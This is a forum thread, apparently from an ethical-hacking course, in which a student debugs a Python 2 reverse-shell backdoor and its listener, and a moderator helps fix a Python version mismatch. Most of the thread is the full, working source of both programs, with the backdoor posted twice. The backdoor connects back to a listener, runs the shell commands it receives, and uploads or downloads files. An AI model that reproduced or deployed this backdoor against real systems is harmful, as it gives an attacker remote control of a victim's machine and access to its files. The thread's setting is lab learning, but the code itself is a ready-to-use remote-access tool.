- This topic has 6 replies, 2 voices, and was last updated 3 years, 6 months ago by Diego Pérez.
- AuthorPosts
- May 9, 2021 at 9:44 pm #54572swartjParticipant
Hello I have a problem with mybackdoor.
When I run the backdoor I get a connection but everytime I try to execute a command I get this Error on the windows machine:
Traceback (most recent call last):
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 65, in <module>
my_backdoor.run()
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 43, in run
command = self.reliable_receive()
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 23, in reliable_receive
json_data = json_data + self.connection.recv(1024)
TypeError: can only concatenate str (not “bytes”) to strHere is the Listener code:
#!/usr/bin/env python
import socket, json, base64
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“[+] Waiting for incoming connections.”)
self.connection, adress = listener.accept()
print(“[+] Got a connection.” + str(adress))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Download successful.”
def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == “exit”:
self.connection.close()
exit()
return self.reliable_receive()
def run(self):
while True:
command = raw_input(“>> “)
command = command.split(” “)
try:
if command[0] == “upload”:
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == “download” and “[-] Error ” not in result:
result = self.write_file(command[1], result)
except Exception:
result = “[-] Error during command execution.”
print(result)
my_listener = Listener(“10.0.2.15”, 80)
my_listener.run()Here is the backdoor code:
#!/usr/bin/env pythonimport socket
import subprocess
import json
import os
import base64
import sysclass Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”def execute_system_command(self, command):
DEVNULL = open(os.devnull, ‘wb’)
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == “exit”:
self.connection.close()
sys.exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_direcory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during command execution.”
self.reliable_send(command_result)def change_working_direcory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + pathmy_backdoor = Backdoor(“10.0.2.15”, 80)
my_backdoor.run()May 10, 2021 at 6:13 pm #54591Diego PérezModeratorHi!
Are you using python 2 or 3? Also your code is unreadable because it lacks of indentation. So share it using the CODE button or upload it to pastebin and share the links here.Greetings!
DiegoMay 10, 2021 at 6:45 pm #54593swartjParticipantThank you for responidng. Im using python2 and here is my code:
`
#!/usr/bin/env pythonimport socket
import subprocess
import json
import os
import base64
import sysclass Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”def execute_system_command(self, command):
DEVNULL = open(os.devnull, ‘wb’)
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == “exit”:
self.connection.close()
sys.exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_direcory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during command execution.”
self.reliable_send(command_result)def change_working_direcory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + pathmy_backdoor = Backdoor(“10.0.2.15”, 80)
my_backdoor.run()May 10, 2021 at 7:01 pm #54594swartjParticipantSomehow the code button didnt work so here is my second try with the pastebin link:
https://pastebin.com/CTggFDzZMay 11, 2021 at 6:49 pm #54643Diego PérezModeratorHi!
Your code looks ok, but the error seems you are using python3 in windows machine, can you sahre a screenshot with the command used to run the backdoor and the error message?Thanks!
DiegoMay 11, 2021 at 9:34 pm #54666swartjParticipantThank you for pointing out that I should check the windows machine. I found the error and now it works fine.
May 12, 2021 at 5:51 pm #54700Diego PérezModeratorHi!
Cool you got it!
Diego - AuthorPosts
- You must be logged in to reply to this topic.